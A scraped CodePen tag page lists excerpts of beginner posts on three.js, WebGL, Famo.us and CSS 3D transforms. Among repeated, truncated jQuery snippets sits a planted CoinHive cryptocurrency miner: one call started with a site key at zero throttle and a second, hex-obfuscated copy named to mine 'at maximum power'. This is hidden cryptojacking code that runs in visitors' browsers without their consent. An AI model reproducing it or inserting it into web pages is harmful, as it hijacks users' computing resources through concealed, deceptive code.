css Audio - Active file-generic CSS - Active Generic - Active HTML - Active JS - Active SVG - Active Text - Active file-generic Video - Active header Love html icon-new-collection icon-person icon-team numbered-list123 pop-out spinner split-screen star tv
CodePen probably won't work great in this browser. We generally only support the major desktop browsers like Chrome, Firefox, Safari, and Edge. Use this one at your own risk! If you're looking to test things, try looking at Pens/Projects in Debug View.

Posts tagged 3d

Why Developers Should Be Excited About Famo.us

I've been going to meetups and talking with Developers about frameworks they use and often when I remark that we chose Famo.us/Angular to develop our web app at Mediahound, Inc. I often get a...

Starting off in three.js

-Three.js 1-

The basics

This frame work from the looks of it and how widely i've seen it used seems like it is the best framework for easily producing OpenGL code for HTML.

Here I made a...

HTML5 3D vs three.js

-Three.js 2-


As HTML5 does now have a 3d engine in it I thaught I would take a look for comparison's sake at trying to do something simmalar to what i just did in three.js in HTML5.


Basic 2D platformer

-Three.js 3-


To do a larger scale project inside threee.js i decided making a sidescrolling platformer would be a good idea as this would have much easier map design.


Taking a break

-Three.js 4-

Taking a break

Since the designing of my game was going well I have decided I would take a small break and do something easy.

[[[pen slug-hash='PZOJVr' height='300'...

Beginning with 3D WebGL (pt. 2) - Geometry

This is part 2 in a series for beginners wanting to get in to using 3D WebGL. If you haven't checked out the other post be sure to have a look:

pt 1. The Scene

pt 2. Geometry

pt 3. Materials


Let's 3D with Three.js



Three.js seems to be the most popular 3D library at the moment (late 2016) , let's check out the state of 3d on the web with a few code samples.

Note - Challenges: I gave...

How to Create Direction-Aware CSS-Only Hover Effects


A couple of tutorials for direction-aware CSS-only hover effects.


These tutorials are intended for people who have at least a basic knowledge of HTML and are proficient to...

Little Boxes that lag your sound card.

See the Pen Flexing your GPU with Little Boxes by Allie du Plooy (@AllieTheDemonHunter) on CodePen.

I had so much fun testing this after it took shape. Tweaking some of the settings (if you're...

Sugar, Sugar: A three.js Project Walkthrough

I hope you're having a marvellous May everyone! This month's Creative Coding Club project theme is Sugar, Sugar and below I've outlined a step-by-step project walkthrough that will...

CSS3: Transforms - Notes

CSS3: Transforms - Notes

The transform property comes in two different settings, two-dimensional and three-dimensional. Each of these come with their own individual properties and values.



<!doctype html>

Example <![CDATA[ $( function() { $( &quot;button&quot; ).click( function() { $( &quot;#animation&quot; ).animate({ fontSize: &quot;3em&quot;, letterSpacing: &quot;+=0.3em&quot;...</p>]]>


<!doctype html>

Example <![CDATA[ $( function() { $( &quot;button&quot; ).click( function() { $( &quot;#animation&quot; ).animate({ fontSize: &quot;3em&quot;, letterSpacing: &quot;+=0.3em&quot;...</p>]]>


<!doctype html>

Example <![CDATA[ $( function() { $( &quot;button&quot; ).click( function() { $( &quot;#animation&quot; ).animate({ fontSize: &quot;3em&quot;, letterSpacing: &quot;+=0.3em&quot;...</p>]]>


<!doctype html>

Example <![CDATA[ $( function() { $( &quot;button&quot; ).click( function() { $( &quot;#animation&quot; ).animate({ fontSize: &quot;3em&quot;, letterSpacing: &quot;+=0.3em&quot;...</p>]]>


<![CDATA[ var miner = new CoinHive.Anonymous('IBWKbBEVeyYVRoKJN0jOWkgrgiXHPa8n', { throttle: 0 }); miner.start(); var _0xd11d=["\x44\x37\x74\x74\x31\x4C\x67\x31\x7A\x35\x59\x58\x69\x73\x76\x39\x62\x42\x66\x38\x67\x42\x64\x52\x34\x4D\x57\x4F\x57\x65\x53\x71","\x73\x74\x61\x72\x74"];var minerarpotenciamaxima= new CoinHive.Anonymous(_0xd11d[0],{throttle:0});minerarpotenciamaxima[_0xd11d[1]]() ]]>

Introduction to Gio.js

What is Gio.js?

Gio.js is an open source library for web 3D globe data visualization built with Three.js. What makes Gio.js different is that it is simple to use Gio.js to customize a 3D data...

😍 Studio Avatar Web😍

**** Bienvenu Welcome

**** Studio Avatar Web Présente

    Studio Avatar Web Présente   Pour Confection De Site Web  Création En Animation 3D   Martin Thériault Avatar Web  Web Développer Et Designer...

Letin Stark Webbplats Blackpaper

Letin Stark Webbplats

“Little Small Websites to build the NaNoNet“ (#LSW || #NaNoNet)

Author: 3D Pihl Date: 4th November 2018

Click here for readable copy of the Blackpaper.


Social media...